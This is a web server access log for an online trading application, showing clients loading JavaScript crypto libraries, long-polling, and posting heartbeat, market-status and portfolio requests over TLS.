[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767925712463 HTTP/1.1" 3188
[09/Jan/2026:10:23:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:10:23:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925700580 HTTP/1.1" -
[09/Jan/2026:10:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:23:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925700997 HTTP/1.1" -
[09/Jan/2026:10:23:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925705718 HTTP/1.1" -
[09/Jan/2026:10:23:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:23:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:23:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925706038 HTTP/1.1" -
[09/Jan/2026:10:23:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925710781 HTTP/1.1" -
[09/Jan/2026:10:24:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925711056 HTTP/1.1" -
[09/Jan/2026:10:24:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925715980 HTTP/1.1" -
[09/Jan/2026:10:24:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925716091 HTTP/1.1" -
[09/Jan/2026:10:24:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925721153 HTTP/1.1" -
[09/Jan/2026:10:24:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925721133 HTTP/1.1" -
[09/Jan/2026:10:24:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925726291 HTTP/1.1" -
[09/Jan/2026:10:24:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:24:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925726177 HTTP/1.1" -
[09/Jan/2026:10:24:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925731445 HTTP/1.1" -
[09/Jan/2026:10:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:24:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925731208 HTTP/1.1" -
[09/Jan/2026:10:24:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:24:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925736592 HTTP/1.1" -
[09/Jan/2026:10:24:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925736246 HTTP/1.1" -
[09/Jan/2026:10:24:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925741702 HTTP/1.1" -
[09/Jan/2026:10:24:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925741273 HTTP/1.1" -
[09/Jan/2026:10:24:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925746834 HTTP/1.1" -
[09/Jan/2026:10:24:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925746313 HTTP/1.1" -
[09/Jan/2026:10:24:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925751987 HTTP/1.1" -
[09/Jan/2026:10:24:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925751356 HTTP/1.1" -
[09/Jan/2026:10:24:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925757119 HTTP/1.1" -
[09/Jan/2026:10:24:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:24:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925756402 HTTP/1.1" -
[09/Jan/2026:10:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925762291 HTTP/1.1" -
[09/Jan/2026:10:24:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925761429 HTTP/1.1" -
[09/Jan/2026:10:24:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:24:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:24:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925767346 HTTP/1.1" -
[09/Jan/2026:10:24:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925766485 HTTP/1.1" -
[09/Jan/2026:10:25:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925772482 HTTP/1.1" -
[09/Jan/2026:10:25:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925771511 HTTP/1.1" -
[09/Jan/2026:10:25:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925777698 HTTP/1.1" -
[09/Jan/2026:10:25:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925776549 HTTP/1.1" -
[09/Jan/2026:10:25:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925782852 HTTP/1.1" -
[09/Jan/2026:10:25:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925781614 HTTP/1.1" -
[09/Jan/2026:10:25:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925787995 HTTP/1.1" -
[09/Jan/2026:10:25:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925786650 HTTP/1.1" -
[09/Jan/2026:10:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:25:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925793139 HTTP/1.1" -
[09/Jan/2026:10:25:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:25:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1853
[09/Jan/2026:10:25:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925791682 HTTP/1.1" -
[09/Jan/2026:10:25:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:25:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925798196 HTTP/1.1" -
[09/Jan/2026:10:25:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925796703 HTTP/1.1" -
[09/Jan/2026:10:25:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925803262 HTTP/1.1" -
[09/Jan/2026:10:25:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925801734 HTTP/1.1" -
[09/Jan/2026:10:25:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925808387 HTTP/1.1" -
[09/Jan/2026:10:25:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925806775 HTTP/1.1" -
[09/Jan/2026:10:25:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925813579 HTTP/1.1" -
[09/Jan/2026:10:25:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925811809 HTTP/1.1" -
[09/Jan/2026:10:25:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:25:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925818715 HTTP/1.1" -
[09/Jan/2026:10:25:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925816835 HTTP/1.1" -
[09/Jan/2026:10:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:25:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925823845 HTTP/1.1" -
